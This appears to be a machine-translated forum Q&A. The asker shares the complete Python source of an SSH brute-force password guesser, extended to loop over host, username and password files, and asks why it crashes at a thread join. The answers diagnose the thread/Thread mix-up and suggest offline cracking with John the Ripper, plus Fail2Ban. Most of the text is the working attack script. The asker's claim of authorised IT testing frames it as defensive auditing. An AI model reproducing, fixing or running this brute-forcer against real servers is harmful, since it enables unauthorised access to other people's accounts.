Python问题与多个循环和线程

Question

我不是一个Python程序员，但我得到了一个完美工作的代码片段，但我需要修改它以循环低谷文件并获取一些数据并执行相同的任务。显然，它做工精细，但在第一行结束时获得的崩溃是这样的：

python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt 

************************************* 
*SSH Bruteforcer Ver. 0.2   * 
*Coded by Christian Martorella  * 
*Edge-Security Research    * 
*laramies@gmail.com     * 
************************************* 

Username file: Users.txt 
Password file: passlist.txt 
************************************* 


HOST: 192.168.1.3 
Username: bob 
Trying password... 
zzzzzz 


Username: john 
Trying password... 

Traceback (most recent call last): 
    File "x.py", line 146, in <module> 
    test(sys.argv[1:]) 
    File "x.py", line 139, in test 
    test_thread(name) 
    File "x.py", line 81, in test_thread 
    thread.join() 
Zxcvbnm 

的应用程序是一个小工具，测试弱SSH账户，最近我们的一些暴力攻击目标和我们也阻止了所有这些，但我们也想定期测试弱账户，因为可用的应用程序（比如美杜莎）崩溃了，我决定修改这个在我们的系统上正常工作的程序，但是每个用户的主机和用户都是对我们来说不太现实。这不是一个未经授权的测试，我是IT的成员，我们正在这样做，以防止违规！

import thread 
import time 
from threading import Thread 
import sys, os, threading, time, traceback, getopt 
import paramiko 
import terminal 

global adx 
global port 

adx="1" 
port=22 
data=[] 
i=[] 

term = terminal.TerminalController() 
paramiko.util.log_to_file('demo.log') 

print "\n*************************************" 
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+"   *" 
print "*Coded by Christian Martorella  *" 
print "*Edge-Security Research    *" 
print "*laramies@gmail.com     *" 
print "*************************************\n" 

def usage(): 
    print "Usage: brutessh.py options \n" 
    print "  -H: file with hosts\n" 
    print "  -U: file with usernames\n" 
    print "  -P: password file \n" 
    print "  -p: port (default 22) \n" 
    print "  -t: threads (default 12, more could be bad)\n\n" 
    print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n" 
    sys.exit() 

class force(Thread): 
    def __init__(self, name): 
     Thread.__init__(self) 
     self.name = name 

    def run(self): 
     global adx 
     if adx == "1": 
      passw=self.name.split("\n")[0] 
      t = paramiko.Transport(hostname) 
      try: 
       t.start_client() 
      except Exception: 
       x = 0 

      try: 
       t.auth_password(username=username,password=passw) 
      except Exception: 
       x = 0 

      if t.is_authenticated(): 
       print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL 
       t.close() 
       adx = "0" 
      else: 
       print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL 
       t.close() 
     time.sleep(0) 
     i[0]=i[0]-1 


def test_thread(names): 
    i.append(0) 
    j=0 
    while len(names): 
     try: 
      if i[0]<th: 
       n = names.pop(0) 
       i[0]=i[0]+1 
       thread=force(n) 
       thread.start() 
       j=j+1 
     except KeyboardInterrupt: 
      print "Attack suspended by user..\n" 
      sys.exit() 
    thread.join() 

def test(argv): 
    global th 
    global hostname 
    global username 
    th = 12 
    if len(sys.argv) < 3: 
     usage() 
    try : 
     opts, args = getopt.getopt(argv,"H:U:P:p:t:") 
    except getopt.GetoptError: 
     usage() 
    for opt,arg in opts : 
     if opt == '-U': 
      username = arg 
     elif opt == '-H': 
      hostname =arg 
     elif opt == '-P': 
      password = arg 
     elif opt == '-p': 
      port = arg 
     elif opt == "-t": 
      th = arg 

    try: 
     h = open(hostname, 'r') 
    except: 
     print "Can't open file with hostnames\n" 
     sys.exit() 

    try: 
     u = open(username, "r") 
    except: 
     print "Can't open username file\n" 
     sys.exit() 

    try: 
     f = open(password, "r") 
    except: 
     print "Can't open password file\n" 
     sys.exit() 

    print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password 
    print "*************************************\n\n" 

    hostfile = h.readlines() 
    for hostname in hostfile: 

     print "HOST: " + hostname.rstrip('\n') 
     userfile = u.readlines() 
     for username in userfile: 

      print "Username: " + username.rstrip('\n') 

      print "Trying password...\n" 
      name = f.readlines() 
      #starttime = time.clock() 
      test_thread(name) 
      #stoptime = time.clock() 
      #print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime) 
      print "\n" 

if __name__ == "__main__": 
    try: 
     test(sys.argv[1:]) 
    except KeyboardInterrupt: 
     print "Attack suspended by user...\n" 
     sys.exit() 

如何解决此问题？

谢谢。

Answer 1

import thread 
... 
from threading import Thread 

不确定为什么您决定导入两个名称几乎相同的类。看起来危险！

我想你需要Thread.join（）而不是thread.join（），因为线程有一个联接调用，但线程没有。

Answer 2

由于您有权访问机器，因此转储密码文件并使用John the Ripper来查找弱帐户会更好。离线密码攻击远远快于在线攻击。您还应该考虑运行Fail2Ban或类似的东西，它会通过阻止滥用IP自动阻止SSH暴力攻击。